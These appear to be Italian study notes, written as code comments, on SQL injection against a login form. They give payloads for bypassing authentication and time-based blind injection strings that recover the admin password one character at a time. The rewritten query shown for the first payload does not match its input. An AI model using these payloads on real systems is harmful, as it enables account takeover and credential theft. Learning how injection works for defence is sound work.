// 1. Se voglio loggarmi con un qualsiasi utente:
// inserisco in username: ' or 1 -- (con spazio finale!!)
// SQL diventa:  select * from users where username = 'admin' or '1'='1' and password = 'a' 

// 2. Se voglio loggarmi com utente specifico, ad esempio come admin:
// inserisco in username:  admin' or '1'='1
// SQL diventa:  select * from users where username = 'admin' or '1'='1' and password = 'a' 

// 3. Se voglio provare a scoprire la password (se la password è emorizzata nel DB in chiaro)
// inserisco in username: ' OR IF((SELECT LENGTH(password) FROM users WHERE username='admin')<18, SLEEP(5), 0) -- (con spazio finale!!)
// provo a indovinare la 1° lettera della password:
// inserisco in username: ' OR IF((SELECT SUBSTR(password, 1, 1) FROM users WHERE username='admin')='p', SLEEP(5), 0) -- (con spazio finale!!)
// provo a indovinare la 2° lettera della password:
// inserisco in username: ' OR IF((SELECT SUBSTR(password, 2, 1) FROM users WHERE username='admin')='a', SLEEP(5), 0) -- (con spazio finale!!)